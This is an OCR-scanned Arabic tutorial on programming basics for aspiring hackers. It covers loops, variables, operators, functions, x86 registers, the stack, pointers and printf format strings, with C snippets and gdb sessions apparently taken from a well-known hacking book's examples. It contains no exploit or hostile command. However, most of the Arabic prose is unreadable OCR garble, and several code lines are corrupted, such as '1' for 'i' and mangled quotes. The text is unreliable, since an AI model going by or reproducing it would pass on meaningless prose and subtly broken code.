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Part 1
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While (sleepy)'!
fillcup ():

drinkcoffee ()i
}
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“Hacker is a term for both those who write code, and those who exploit it!”
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15,4l o "Dave Aitel” wudl eYI s e uS'y

“Hacking is not reverse engineering!, your goal is not to come up with original source code for
the application!, your goal is to have a greater understanding of the program or system than the
people who built it”.

Ji 51 Nonexecutable Stack Jis «SafeSEH lew codd odl &V5l2 wl &l wlits il o3
Ll e s by CDEP” a8 gl BB sk gy Sl <l s (Randomized Stack Space
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Y] s Machine Language J!

Ll B 5 2 Ml Al Assemblyd\afl;uajlﬁa;lu@cﬂ;jg;noﬁj (Alata s L o
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CPUJI ) bslas] 53

Instruction J.}Q &1 mes (Machine Language JI ¢ One-to-One ‘\m&: Jolxs Assembly Ji- =
I Jolag GaS N el 33 ,1@ a2 5 Assembly JI eu..b Instruction L@.bu., Machine JI 4...1.,
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Malware Author Malware Analyst e o . £
High-level Language Low-Level Language S A (Gau Al o & J‘AL’
int c; push ebp ..J.;Y\
printf("Hello.\n"); move ebp, esp
exit(0); sub esp, 0x40 d‘ . . o .
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Control Structures

@b 3] Jeadl Lo ST Jols ks o2 A Instructions Ji fpe & yat e O S el ! 5 bl e
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IV Joms o555 I Statements JI jam oo (IS w5 I aazis Uy 0,78 U Uy Instructions JI g

o3kl 8303 s Gdats el A1) "Control”
If-Then-Else
..w)@ugwub@m
~(Condition)  ,Ladl G wl-Do I an dxrl 5 Gslo (oL =
331 s (galis] INSHTUCHions JI yas; Joiesy ¢ s +(Then) 1) @

2

(Condition) o l-So¥l Galal U 4w ISzl o3 «(Else) U5 s

If (condition) then
{

Set of instructions to execute if the condition is met;

}
Else

{

Set of instruction to execute 1f the condition is not met;

}

Programming
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While/Until Loop

-J| Condition 25 0F bty 50 e 2ST INSEAUCHONS U1 p0 46 yo duis s bl Ay ) Gl
DS A ke BLs p i

SJLL L T

Ll J) Pointer Jl s s (1) G e sill gz el o3 pladall Lo Juaml s cnd] g o2 bl o)

z
-

Ayl DB Sl Y a2 E e b2 e it

While (you are hungry)
{

Find some food;

Eat the food;

}

SOUNIR Ol 58 dmien (33 52 5k S e o S5 581 AN caagd o .0V
14l gl el o sSKae b 2y S0 While JI s o Until &l

BN PRSC I RPN pRUHINTY

Until (you are not hungry)
{

Find some food;

Eat the food;

1
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For Loop

S skl o e plast s 2Ll el i O ol 1 s 3 Lo g 2 1S bl s L] Lot
odn e 5 Il Lo il e s A p s ol L sie sl dags e Sid S e 33 W, K0S
,Whilewg}sc.\mp%r}u‘a\h,&smaﬁ@:@%}m@jw&g;;&a,g‘:dm\

.For

For (5 iterations)
Drive straight for 1 mile;

QU1 ] Joms OF ) S5 e Jon o 5T el o35 o ety ow L o)Ll 530 50 LA
RN
:C 1 axd, Wl s s

For (i=0; i<5; i++)
Drive straight for 1 mile;

LY T s o Y oS T i Tas aalel
52 8 B 3L 6 o3 ol = 1) 0558 e b ol 38 ey oo L 5585 05 (1 = 0) oy J506C
@il e 05 5 (3 I BB OV o(i = 2) 0,503 ek Lok o o3 AT s Ble 5 530 Candl el s o aol
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While gl b 20l s Gilas 031

Set the counter to 0;

While (the counter i1s less than 5)
{

Drive straight for 1 mile;

Add 1 to the counter;

}

DI 83 gl 03 (1) e Aol Doy 3l 83055 el oo BLL 3L 05 ¢(0) sl hany p gl Ln
Jgo I o iS5 (2) emad slaadl 83k 5 5 5T Jom Blnay o] 5 g ¢ 31 &l dnid 5 0 (3 )1 & lie
glgd) 0,558 (4) o3 0

Variables

i s caslaizal 15 il g i e Y (330 223 ity w2 OF LIS ol o 5l a ol
Lt ¥ oy ol s e ahalll ) puall o 26015 2 5 a s | slanlls s 2l ol
Lile iz el ake 3O 35 (g a5l clecle BLOYI T cla o LeSad V1 ) bty Aol ol

i pelas I Al s sl el s

“An object that holds data that can be changed”
SERI Gy > (52w OIS 13 Lo (declare your Variable) as 5 3353 et ! Sholtle ce ds,

S5 SR ot crlall iy o JUHILS (2l Jols il 055 OF 15 205 o2 0 g Sk
st s A 5 Lol s Lol alall
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A | il SLYTeda e (IS MmOy I o5 L OLSGe (4 Lgt 3 Sledl p s ol el olda

:variables Ji g1 51 e LL

int (integer values)
float (decimal floating)
char (single character values)

2

i3 305 s g ODJECE O 3w NS 0T (6T <IN | 5 oty a3 B 5 @ oy ki iy oy o585 LK
2 e ) %25 Y "Integer"

int a, b;

ey e J W

int a = 13, b;
float k;
char z = '"A';

N
E:_

n

C.?w;.,\.o"wy' ch}TJ:Jt.’LiUJJ.;VE..13v§JJ‘jAj!WW‘J{L@UJJ&j&M%ﬁ&iU&E
d5mg(éfxr»ZJ5Tz§u§Jc"éjip>dp"¢gf kjéTlgﬁléjivé.A&QJ{q}z;;L»>¢x5;¢éUj
) e ol e 5314 a s K el s Lgmad 535 1 el Lo Ly A g 5 5 >

Gt Lt oW g T G 4 Vot s WA Gl as ety L Wil S it (0 2

5ade Lo 1061513 as @ uedl dag alsls 03520 &1 bl Ly
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© 184l b 4a3 0 S ULy
iagll Operators JI oan e 53 OV Js

Arithmetic Operators

Operation Symbol Example
Addition + b=a+5
Subtraction - b=a-25
Multiplication * b =a*5
Division / b=a/5
Modulo reduction % b=a2%b5

Us s 8=18 i 5 ) (JlaS s il Llas o) ) s 2] 2l a5 "Mod" Ul s 5 p 580

(3) b s Bondl) los Ay 13 5 01 e 5 2 L1 0,503 5 Lo dadl
(13%5 = 3)

For Jl dls & dedswedl &l e JIsl L2 & (Shorthand Expressions) ol LazsY1 jaa, L oS

.i++tj.>
Full Expression Shorthand Explanation
i=1+4+1 i++ or ++i Add 1 to the variable
i=1i-1 i-- or --1i Subtract 1 from the variable

sl jla Vg o) [ &3l aless Arithmetic Operators Ji e B e plisnl o2 Ldis s
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int a, b;

a = 5;
b = a++ * 6;
T 52 e IS (g s L
L QU Ll O S o
b = 30
a =6
e15U
Fald el o] " S5 A el ed 1) L BLSL el i S Ll s ak+ 0Y
int a, b;
a = 5;
b = ++a * 6;
Moo Al BLes ol ] " " A el dad sl 20 &1 _aad
a =a+ 1;
b=a* 6;

(@=6) 055536 = &ledl 3 b aesd 0,5 JWLs

UL Bl Vs ok ol p s o £l D BLS| SLast M o 58 Ll VS (ol Lia

TP PRREEIPERN TS [pUPPE PIETRARPEL
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Full Expression Shorthand Explanation

i=1i+ 12 i+=12 Add some value to the variable.

i=1-12 i-=12 Subtract some value from the variable.
i=1i* 12 i*=12 Multiply some value by the variable.
i=1i/ 12 i/=12 Divide some value from the variable.

Comparison Operators

Condition Symbol Example
Less than < (a < b)
Greater than > (a > b)
Less than or

equal to <= (a <= b)
Greater than or

equal to >= (a >= b)
Equal to == (a == b)
Not equal to = (a !'= Db)

b (8= = B) o Lo L 8l 5135 88 13 i o U o Js (2= 5) W5 s
daldsuial (S =T symbol Sta Y o 5 cls 13 Lo a il @ggﬂ\w\yﬁggﬁ\ bl oo
telS "Not" a5 (1) JI s condition JI 5 63 4aa

!'(a < b) is equivalent to (a >= b)

Logic Symbol Example
OR || ((a <b) |l (a <))
AND &6 ((a <b) && !(a < c))

Programming
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Cied

el B0 b 5 JUedl L

While ((hungry) && ! (cat present))
{

Find some food;

If (! (food is on a mousetrap))

Fat the food;

}

_SWhile 215 Sz ja

AT 5 e o 3 bl Bl e s o) Ol S g 1L i b 3 e A Ll
gl i p el Ll U] Lealgdly o L (01380 iy ol o 21 dakad 0555 0 5
True a1 2edlls False ns 0 2ol OF (5 » el 0Y While (hungry ==1) ix.all

Functions

Functions Ji 4 oY1 i ccsbusluN 1 sda e Lugsil OF da
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Us,l \US s ."Function" .. Sub-Program < .3l SR POTRY Llar LVl sLisY b o
gkl g Lads Function Ji eda Ol s LU Lt Jlas e L)

el G uils It 32T

Do) U] ezt 28 130 Lo 302 01555 ¢ B g G A Dol o3 15201 ol (3 2y liy e ST 5 2
Joolidl s e gaz AU sgmin LT (o Function Turn Lele U3 Function ;L:%L;ipm R (Y
O @A S S Wl s 2 55 e STy 1 jlne iy iy e Lol oy G g I
wiciz Variable <13 a3 oV e Sled! 1l Gl ) amme eSS oY sud

ade 2l Lehos o1 2L TU() Jl p 35 (,: <1342 o1 &0 variable_direction

:g¥ doiy Function J e i
[(Activate Blinker) aJ] U1 o) M ol €Yl w6 el sl sl s eV 5 55 Liis ™

.(Slow down) ; LLL s LuiTas =

.(Check for oncoming traffic) !leJ| Jaw a1 38 55 MiS > e ook
:function Jieds fas e s lie s
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Function Turn (variable direction)
{
Activate the variable direction blinker;
Slow down;
Check for oncoming traffic;
while (there is oncoming traffic)
{
Stop;
Watch for oncoming traffic;
}
Turn the steering wheel to the variable direction;
while (turn is not complete)
{
if (speed < 5 mph)
Accelerate;
1
Turn the steering wheel back to the original position;
Turn off the variable direction blinker;

< = -

s Lol . g <& SluxY s Rl G a5 B G a5 (L, D IV s Of LY

a3 e S Ul G5,W ) J Al eds b5 L 5 While
iS5 ) ol 11 olENT U] Al 01,55 a5 &I Instruction 1 ] pointer JI Jaiid wallis (&5 1 o
LoV 5 05500 pLal) 4318 e e 0585 OF Y Lgmds 5,0l OF yay 5T b5 La35 o (il
iy medall a3 5l 330 nld i L 55 L s Leltla s Whlie - T ¢l Liotiuna 5 4L

.TJP'T Function J! -, C,}\ (.fcs)u}ﬂ )
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BB LT L a3 5T il gl o5 OF B clglas 1T Jafs Function I sleazal 32 C JI i &
ifunction JI e Gty s 5 U (’:’5; Y |5 (functions can return a value to a caller) Lgledzul,
5LV p 8 Ldis elgl Jag ded function Ji gl ] Dl 3 Lol.void( ) JU Lo eles! das dos U c’:?ff Y

4 oo Datatype J s 55 ¢ «return value Ji 1is function Ji +.3 Cp«ﬂ ey Jvz.j.‘ Jl

Sells Cias

ey s 2 L

W g e Lol s @ Sl o 20y s ol Y Lgiloaals o5 factorial( ) Lgas function Lt
S, -
bl 8 lens 5 o5 Lo

int a=5, b;
b = factorial (a);

OF g 1o g €Nt wdally O 5o o (5 g &1 bJQJC.UUkiécinttﬁdﬁqjésﬂ\uugf}g
() 0w MMl a Ju.il dad Land 55 integer as 55 O S factorial() Ji e palall return value J|
Al LIS 51 2 Y 5 03 ) &.CM T _smes function Jiedia () o1 ya o= g4 Argument Ji s LA

bl § il w2 S ule
gl Ls 3l factorial () I Sals
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int factorial (int x)

{

int 1i;
for (i=1; 1 < x; i++)
X *= i,

return x;

}

Llgdl & .integer &1 data type JI sad (,.fj S - g s J;ﬁ\ oA Lw S5 Vﬁx dagd By LYy
(5%4%3%2%1 = 120) Ade b#z:i\ S s

Al 03 I oW "function Jl sledsul " LGS (o S il U - 2l

U o L 3o 5y p 53 LS 1 (s creturn value" &at o3 L o> Y 2l Function Ji of S5
¢ 5& Turn_Function() Ji Loezul Ll Loy c W85kl 83La okl Jlesd) L 13] "Void Function”
I e e gz Jis 35 L WY g return value [Uash Led e cdais 5,ld J sl Lo

J55l- Y d sl 1555 S il ) a1 05, instructions

:functions Ji 5 a5 JLdl 145 v';":':“

void turn (variable direction, target street name)
{
Look for a street sign;
current intersection name = read street sign name;
while (current intersection name != target street name)
{
Look for another street sign;
current intersection name = read street sign name;
}
Activate the variable direction blinker;
Slow down;
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Check for oncoming traffic;
while (there is oncoming traffic)

{

Stop;

Watch for oncoming traffic;

}
Turn the steering wheel to the variable direction;
while (turn is not complete)

{

if (speed < 5 mph)

Accelerate;

}
Turn the steering wheel right back to the original position;
Turn off the variable direction blinker;

ol a5 "target_street_name" s sl “Argument” BLs| o5 ..3ils ST Function I 0,5 SU
odd ‘e sl d;>:ﬁ,, oY1 "variable_direction” J sY1 Argument Ji sl cad| GL»./U}I\ :Ui\ Qhﬁ\

RO E (R J function JI _e225 V: 55l CAL;VK oL function JI

Begin going East on Main Street;

if (street is blocked)
{
Turn (right, 15th Street);
Turn (left, Pine Street);
Turn (right, 16th Street);
}
else
Turn (right, 16th Street);

Turn (left, Destination Road);
for (i=0; 1i<5; i++)
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Drive straight for 1 mile;

Stop at 740 Destination Road;

LTUM() sledal Lod Sl EB2Y
s ) e el iy of B variable ) 1S gis JS w5 05 L] Arguments i) el L e

~““void function” Y g return value

A Registers JI yas) Jo O patn dpdx (g AN )}A.:vjy\.\b Cil:z gsoss dl OV s
ol e aliles 15T CPU Ul gt

X86 Processor

Jl pe CPUJI Jalss 245 e b »2) X86 processor JL bl oY1 e aaled e Lol st
internal variables & g5 s 5¢b ..Registers JI s is sa Processor Ji el ..Compiled Program

il algs oY 385 S gl ]

?.Register Jb sx 15b (S5 ¢S

Data ) wo Joladl sy U Lgodinio &y b gl 355 CPU U1 Jot1 5 0 (052 Bl Ll
A small amount of storage on the CPU and is the fastest method for a CPU to access data.
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memory Ji &3l »5 Compiled Program JI J=ls 48 )l oy (S ¢ Jomoledl oo 2SI &5, :f&.f
"Debugger” JIiib 5 x| cpal ol Jos +131 Registers JI tuj KR PO N Zaasdl

¢..Debugger J! 1ia L
Wmct_,m\u;%.ﬁ\r\mueglr}awu\ﬂuﬁwﬁtdmw 7\
Q‘N‘}&‘Mmg‘)%‘&°ﬁuu‘})°%;g§;pé‘&dﬁ}‘d&.‘&bj“

SERABP RYEPEE

Registers JI e CA\JJ\ J & “GDB Debugger” JI el ol osL W oUl @ UAM
oA T A Ub&&.‘w\‘.“: bl Bl G el 5 &2 ) waﬂc\;m\jdszbd\
Registers Jb 2l ol LY

main( ) JI xe Breakpoint <% e85 GDB debugger plsaly ad (.Z C‘bﬁ Jlse C’lfj U‘i“:’
5505 iU G 431 3 o e Il a main( ) 01 ol Y . oeal ol Ja25 <3 Registers JI w3 Jale]

z

g

¢..Breakpoint JI lda s A 130

“it gives you the ability to halt a process that is being debugged”

e..process W halt Jas o 55 15U 5
By halting a process, you are able to inspect variables, stack arguments, and memory locations.
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reader@hacking:~/booksrc $ gdb -g ./a.out
Using host libthread db library
"/lib/tls/i686/cmov/libthread db.so.1".
(gdb) break main

Breakpoint 1 at 0x804837a

(gdb) run

Starting program: /home/reader/booksrc/a.out
Breakpoint 1, 0x0804837a in main ()

(gdb) info registers

eax Oxbffff894 -1073743724
ecx 0x48e0fe81 1222704769
edx Ox1 1

ebx Oxb7fdoff4 -1208127500
esp Oxbff££800 Oxbf£f££800
ebp Oxbff£f£808 Oxbff££808
esi 0xb8000ce0 -1207956256
edi 0x0 0

eip 0x804837a 0x804837a <main+6>
eflags 0x286 [ PF SF IF ]

cs 0x73 115

sSs 0x7b 123

ds 0x7b 123

es 0x7b 123

fs 0x0 O

gs 0x33 51

el e ﬁ (U Ja2 &l de 15 4l Registers a )l J 1 Lo~
(EAX, ECX, EDX, and EBX)

"temporary variables" |s_x MT Ll ade el 3 CPU JI réodsind General Registers ¢l ol

Instructions o5 ¢L3T CPU JI pgadsiny
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v@ﬁ#ﬁ-@wﬁ%&u

EAX

ULl 5 s ekl e Byledkl SULRHI Sand 6l b p &5 Accumulator register Lo e gl
return values Ji 52 0l 423 el s 520 b Al s ol Lals

f..return value J! 1s Js.x., J»

S5E e Gr b 5% Lgay Tunction +1sT IS cpe ST L] T3] “Functions” U3, (3 & Liud 43l
return value J1 b Zladll 2,301 & o3 LS (S EEAX JI

ECX
.Looping operations JI & (’:\z:w: LY «“Count register or Counter” Lg.ls d./\kj

EDX
3l data JI e ST 2aS 052 Dl (3 w5 el (of EAX U slazsl 355 (Data register Lede 3l ods

Mg SY oLl ol )

EBX
cop Al L3Lo] LS Cls;u.f LesT lgnn 3l y) {w;_f{l «Base register .11
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ton s Registers JI e il e 55 U el o
ESP and EBP
Stack JI s Jaladl 5 function calls Ji &les 3 ,15Y galusel oz, Base Pointer s Stack Pointer

. WK ol o e
RERCPR]

¢ Stack JI ldals S
This will be the i .
2 first object to Ll e 44 structure el s
1. 7 come out. Jb il Alas oL
Empty Stack JI T dezess <function calls

“First In Last Out” ;s 9 (FILO)
#Pop” o Lge ULl £l sl Lloe s “Push”o L) UL o] Lhee de U ¢ JS2IL ek S
Vg5 .ple ax 515 . Stack JI ) SUL Il ] o CaS asledd Jau YL function call Llee &l =55l

:JA w)‘)yr\- :\S)}\i’ StaCk

Stores information about how a function is called, the parameters it takes, and how it should
return after it is finished executing.

Ledsidl Linall s eda ((ESP and EBP) I e 98 55 las (s 2w cfunction call ol ] 62} Jts L

:C JIax, my_pencils() s\‘..:u function {call jor!

int my pencils (color one, color two, color three);
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:x86 Assembly JL Call Jl dkes o5 1188 5

push color three
push color two
push color one
call my pencils

(el &l s !(Stack JI Jaw] Lf‘ﬁj axs 3 o3 S| Argument J| Ol L>Y) (Stack frame JI & g 1da 5

(Top of Stack) JI 4| ESP JI 25 Ls

ESP register:>| Return address

color_one
color_two
Stack
color_three growh
direction
EBP register:> Base of stack frame

Stack I § Lol baalsd s function Jleds ) jew BLL p i 015

int my pencils (color one, color two, color 3);
{

char uni pen color one[10]

}

Programming
[36]



(uni_pen_color_one) y.i\ L O S stack JI & Return address JI Sl 3 53 G Bl geb L
"Top of Stack" JI ) L s> 23 &Y el 5,LaU Stack pointer JI s s

s~ VI Registers JI ] 5 g Wl il 1y LS

ESI and EDI

= (ESI) Source Index, holds the location of the input data stream.
= (EDI) Destination Index, points to the location where the result of a data operation is
stored.

Z;ﬁ\ﬂw = W.. i/j
= ESI is used when we need to read data from something.
= EDI is used when we want to write data in somewhere.

EIP
LZ G ez 2 CPU I o s A LU Instruction Ji 4] 25 LY Instruction Pointer Lee i)

4x| Sty PTOCESSON JI IS Lo ¢ g5 g o Al sl 3 63T Wl 55 2218 IS e anm] i Aty
IV ke e3T ol al L g I registers Ji e oda oS &£ Instruction JST,2JEIP JI ya 5 ol

.Debugging

i A Sl JoSa o o 5 L ool e Ll 5 0555 1A )
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Arrays

Memory JI |=I (o8 5o 834 data type <15 n asde olall oo de gagt L
““Buffers” lgJe @114 T..,m\ «“Is a list of n elements of a specific data type”

:character array Ji W =5 5 Jbe Lls

#include <stdio.h>

int main ()

{
char str al[20];

str al[0] = '"H';
str al[l] = 'e';
str al[2] '1Y;
str al[3] 'l
str al[4] = 'o'";
str al[b] =',"';
str al[6] =1,
str al[7] 'w';
str al[8] = 'o"';
str al[9] 'r';
str a[l0] = '1"';
str a[ll] = 'd';
str a[l2] v
str all3] = '"\n';
str a[l4] 0;
printf (str a);

:GCC plusculs ) compile Jos ss @b‘,ﬂ JLEAREY
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reader@hacking:~/booksrc $ gcc -o char array char array.c
reader@hacking:~/booksrc $ ./char array

Hello, world!

reader@hacking:~/booksrc $

e

L5320 bytes janaZ o5 ol T (B> 20 J s ai s DUFFET 2y 1S i) . Ay Aamls Lyl
functions Ji ,L=Y rm 5 “null byte” ale 3lal.. (0) O G~ T Lay ! o (12 bytes) Lz LS
«ls s buffer Ji 3L JUA| oz s null byte Ji s 5 seb de 561301 e b g5 Ol array Jlodis e ol I
257 90 b

fstring Jlssls 585 e 2231 & Jallede O IS STl o a8 o 50

e o Al el JisY! o uJ o5l ay string.h o5 Library pddiai MY wlally
Arrays JI i strings I e Jalaal) calast A1 functions Jf s e il o5 ey 5 3 Ja IS5 G s
BY Wl ao Leatsay Y 1 a1 function Ji edis 358 L cbuffer J1 Jotls and s oS b ey
b s el LY strepy( ) el - © 1ibly S, Buffer overflow Ji o b a2, 5720 el

strcpy (destination, source) :QL*JLS

wwrj str_a dfmi\ buffer Ji Jl Hello, world! &,Lall — RINEPN o5

#include <stdio.h>

#include <string.h>

int main() {
char str_al20];
strcpy (str_a, "Hello, world!\n");
printf (str_a);
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Signed and Unsigned

Sl ol memory Ji 3 Lg% o A slae Yl 5 oe<s numerical values JI e &l Leks
:Juls el s iy o o (L & 50) (T Unsigned 1 (w1 Lo 50) 51 Signed 0,55 O Lo| a5
Lzl 5l asL 3L 21 . Numerical variable Ji 1ib izweidl i L (.gxu 1:Sas Lyl “unsigned int”

.43 short or long Ll &3
Il sda &) oy 5 data type 1 dls pid Lzl 5. sizeof( ) Lews C JI a3 3 function s 5

:l«.@i‘ o\,ﬁ:i\ oar il e U3 3x5 S function

#include <stdio.h>
int main () {
printf ("The 'int' data type is\t\t %d bytes\n",
sizeof (int));
printf ("The 'unsigned int' data type is\t %d bytes\n",
sizeof (unsigned int));
printf ("The 'short int' data type is\t %d bytes\n",
sizeof (short int)):;
printf ("The 'long int' data type is\t %d bytes\n",
sizeof (long int));
printf ("The 'long long int' data type is %d bytes\n",
sizeof (long long int));
printf ("The 'float' data type is\t %d bytes\n",
sizeof (float));
printf ("The 'char' data type is\t\t %d bytes\n",
sizeof (char));

RS Lo Lo b dellay o 52 PRNER() Lodiezal T e o>
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t b S ool ddens o 52d 5d a5 format specifier Jb cem b Ladien] 44

o5 32 | S b Las i datatypes JI dxbus (12 m 5 5V s p i

reader@hacking:~/booksrc $ gcc datatype sizes.c
reader@hacking:~/booksrc $ ./a.out

The 'int' data type is 4 bytes
The 'unsigned int' data type is 4 bytes
The 'short int' data type is 2 bytes
The 'long int' data type is 4 bytes
The 'long long int' data type is 8 bytes
The 'float' data type is 4 bytes
The 'char' data type is 1 bytes

reader@hacking:~/booksrc $

Pointers

35 ol Al J== <31 current instruction Ji 4] .. pointer & 3 ,Ls & (EIP register) JI B Jsfu

.instruction J! e ol memory address JI Je L3l s>
dunctions Ji daul 5, Lgsldezul o5 AN UL Gl OULS )l ezl CL:,J memory Ji < Jolsl 5 L]
sl 4Y (e function Js3 memory Ji =1 GLS — SSG 3RS oo omatd JULs
A0S N ek el J S memory JI & (L] data JI e oz 1) destination J) d>Lews
JI Jsls B3 K & 4 ) pointer JI plainl Luslal S5 0 Yoy U Slgrne s memory U

blocks JI -y sbe ) 5,LEN1 5 b e memory

We use pointers to point to the address of the beginning of that block of memory.
Pointers are 32 bits in size (4 bytes), and is defining by putting (*) to the variable name.
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e il Les

#include <stdio.h>
#include <string.h>

int

main () {

char str a[20]; Il A 20-element character array

char *pointer; /I A pointer, meant for a character array
char *pointer2; /I another one

strcpy(str a, "Hello, world!\n");

pointer = str_a; /1 Set the first pointer to the start of the array.

printf (pointer);
pointer2 = pointer + 2; [/ Setthe second one 2 bytes further in.
printf (pointer2); I Print it.

strcpy (pointer2, "y you guys!\n"); // Copy into that spot.
printf (pointer); //Printagain.

SRIRAPLENNE

reader@hacking:~/booksrc $ gcc -o pointer pointer.c
reader@hacking:~/booksrc $ ./pointer
Hello, world!

1lo,

world!

Hey you guys!
reader@hacking:~/booksrc $
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-

Sl e B b aiy a5 L of A | s pointer Lias ('j str_a J1s lans 55 “Hello, world!” CML e
Dl jadw | _sxo (pointer + 2bytes) 1| JM; pointer2 L~ Vj «“‘char pointer points to char array”
Gy e 3 “Tlo, world!™ L glies POINtEr2 Ji 1a 5 ,a) PRNE( ) plissl s 5 e Jalaz 6 >

. . . 2
JVoda & s Sl & s~ |4 pointer2 J| P G Wl 55 <y you guys!” RIS R

Sy you guys!” s ,LJL “llo, world!” Jlazu! o oL String

§.. pointer2 Ji lis i -pl S
2 sl LS 5 La Jody «'str_a luy 4] 2 pointer o S5 ."str_a" JI 3 Il byte JI &l ) i &)
6}

character Jioda 3 GJUI byte JI e Tuzu fsugds 55le Laedd B H as ok S5 . bytes
e 05558 o 3lediul pointer JI 1ds L) w20 N array JI s e printf() JI . L TJ?'B array
“Hey you guys!”

18 a0 HFAYA

memory Ji Jx1s & ,oUkl address J1 51 5,45 cmemory JI =1 L 1 G o i3 integer J1 of S5
plsal aedins Ladie pointer JI s dnt I da J) 23 oldas 5 pointer i o e (iEOxbffffSa A
s dsL LSS OXDFfTBa sa s calstlay it J 1 o3 (gl memory JI 0l e W 5 aes prNtF( ) 2141
ARPEA I L] (the memory address of a variable) Ol gl

S dlmé& printf( ) JI J=Is &int C\.b‘.:wg\ Jxd (&) 4D & JS:J; “the address-of operator” f\»}:waLg

1 Oxbffff8a
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19l el doT s (&) plseal is retUM 1 05w S .0V

The address of that variable, instead of the variable itself .

“& operator” J! plsal s Hex IV dreas 4 o) Address JIdells o & Jygi Jis L

int A = 7;

printf ("variable A is at address: %08x\n",

&A) ;

[

e..pointer JI 15 "&" JI s Ll o) 3l U

-l address JI ¢y Y “Address-of that pointer” JI P p s <"address-of "JI 5 % e 5% Gl

pointer JI i 4J]_xio

Q1 Il 3 IS e A o 520 L

GDB Debugger plusul; «f debug Jae (.S 555 Lle

reader@hacking:~/booksrc $ gcc -g addressof.c
reader@hacking:~/booksrc $ gdb -gq ./a.out
Using host libthread db library
"/lib/tls/i686/cmov/libthread db.so.1".

(gdb) list

1 #include <stdio.h>
2

3 int main () {

4 int int var = 5;
5
6
.

int *int ptr;

int ptr = &int var;

/I Put the address of int_var into int ptr.
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8 }

(gdb) break 8

Breakpoint 1 at 0x8048361: file addressof.c, line 8.

(gdb) run

Starting program: /home/reader/booksrc/a.out

Breakpoint 1, main () at addressof.c:8

8 }

(gdb) print int var sl G sina 5l A [ se allai Lia

$1 =5

(gdb) print &int var 4ied guly il 13a Jesy g2 block of memory J o) sie (=6 Lilla Lis
$2 = (int *) Oxbffff804

(gdb) print int ptr (4l & 3 el (<) s 5 pointer JI 134 4 gaile (e Lilla Lid
$3 = (int *) Oxbffff804

(gdb) print &int ptr lgosed dalaaildas pointer J1» olSa ot Ldla Ua

$4 = (int **) O0xbffff800

(gdb)

.. Typecasting JI'3 2 (8 pointers JI e Codd-l 55l

Format Strings
I glol Sald (s T etz S5 cailall o oy flo dela) Lgalasuzal oz, printf( ) of ol S

aaks o2 o\J};:}L\ éL:f,aUég w&:} Lk, format strings
“This function can use format strings to print variables in many different format”

WISt Jan bl
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Parameter Output Type

%d Decimal

su Unsigned decimal

$x Hexadecimal

$s String

$n Number of bytes written

Gl e Bl i Mdata" Ui s, o5& format parameters o daadkl @ B U
4 4 "address-of-data” Jiy data 5 5a) Lslusenl LiSeg format strings JI e s 41 ¢l 51 a5
pldSaly p o3 ; «null character JI 4] a5 2> string JI della) (35) JI (,./xx/m“ JUdull 8.l

"address-of that string in the memory" J iell) (3x) 4.;/43\

& integer «¢ 4 j:,xi address-of 5 2] (&) s “dereferencing operator” JI - (%08x) o T.ﬁa_,l

S G e A

£(508x) danall pai13le S g

.hexadecimal ix.a 8 bytes (| abl sx

€.(308x) 8 W3 )1 I3 Liw LAS3 15U,
| Ll Dl e s
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#include <stdio.h>
int main () {

char string[10];

int A = -73;

unsigned int B = 31337;
strcpy(string, "sample");

I/ Example of printing with different format string
printf (" [A] Dec: %d, Hex: %$x, Unsigned: %u\n", A, A, A);
printf (" [B] Dec: %d, Hex: %$x, Unsigned: %u\n", B, B, B);
printf (" [field width on B] 3: '%3u', 10: '%$10u', '%08u'\n",
B, B, B);
printf ("[string] %s Address %08x\n", string, string);

/l Example of unary address operator (dereferencing) and a %x format string
printf ("variable A is at address: %08x\n", &A);

}

BT VIR EY ERETAY

reader@hacking:~/booksrc $ gcc -o fmt strings fmt strings.c
reader@hacking:~/booksrc $ ./fmt strings

[A] Dec: -73, Hex: ffffffb7, TUnsigned: 4294967223

[B] Dec: 31337, Hex: 7a69, Unsigned: 31337

[field width on B] 3: '31337’, 10: ‘ 313377, ‘000313377
[string] sample Address bfff£870
variable A is at address: bffff86c

reader@hacking:~/booksrc $

MONINPIPRIINTND
..@@)@A,ﬁi\u@;;bﬁasésudj

Programming
[47]



€\
*\o

A (B e, Y Unsigned of Sy e 856 Lal B il Lo a W1kl L

s\a

"field width on B" JI sa 5 CJWI Ll U 4 ¢
230 by Wod (ol eoll Ll o sl s G daB [t B0 d) il o3, S35 Ldkis L
o s T3] .5 bytes llxas i - 1h Ll (3 505 .3 bytes e ol 5l ol JE VT L das
ou‘gdg\mcw L@Mulmllaf ez sV adl W osa b a)l oY L Leel) expand fon

(:Le)\ FS VJ F ol o U /t;; <L 31337 L>Ys | S spaces o d-Lull SU ke pohow La <10

M L. 0123 padding (a5 4 5 (s 8 J1 5 2610 03 Las s LT |y 2083 o) L W1 LI 3
00031337 15 5 |5 ol bl 0,55 .1 Hex Jb aedll Lo, WY @b, Lol 8 bytes Ji st
B bytes JI JoisE pl5 1 204 J1 25 Lol 236 U 155 sl

«Scanf( ) e clggle B35 01 335 Standard Input/Output functions Ji 2l x5 s+ function 4> 5
Lol Lpeatlaast e ol 5l o (5 231 ka9l e il LT Y] 2 1 3 printf( ) o555
e iy 2y o g ST mes ol variables JI e Lo 4¢ “address of variables” J| o Jobas

M&var s Utz scanf( ) () ol clus L (.j Sl int var

A5 e s aaledd L
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#include <stdio.h>
#include <string.h>

int main() {

char message[1l0];
int count, 1i;
strcpy (message, "Hello, world!");
printf ("Repeat how many times? ");
scanf ("%d", &count);
for (1i=0; 1 < count; 1i++)

printf ("%$3d - %s\n", i, message);

I e Jolazw Js "coUNt” anss y.i\ e Jolas () e decimal value L.l scanf() ob 5 | S
.“address of count in memory”
““dereferencing operator” J| plsal, (PR PAERY (’j é}g count .~ declare Jix Lo 144

5585 Ay oy 0 S0 AN M e L 2Ly string 5155 Jasy U mamy S () 4T it 135 La]

."Repeat how many times" dlu ]I

:éL:’J\ éﬂlﬂ

reader@hacking:~/booksrc $ gcc —-o input input.c
reader@hacking:~/booksrc $ ./input

Repeat how many times? 3

0 - Hello, world!

1 - Hello, world!

2 - Hello, world!
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reader@hacking:~/booksrc $ ./input
Repeat how many times? 12
0 - Hello, world!
1 - Hello, world!
2 - Hello, world!
3 - Hello, world!
4 - Hello, world!
5 - Hello, world!
6 - Hello, world!
7 - Hello, world!
8 - Hello, world!
9 - Hello, world!
10 - Hello, world!
11 - Hello, world!
reader@hacking:~/booksrc $

JIga o pyedl OV Jaze cformat strings Ji plasenl Cdlul Wl 3 @ il 28 &1 BT 1

.Typecasting

Typecasting
I el ol Lty 5 LT as 5 e Ll Lok e ocls oWl data type JI_wad i 5s da b e s le e

a0 b Jais . uiuil new type J! Le £l Ju:k\ s o5 folazn T compiler

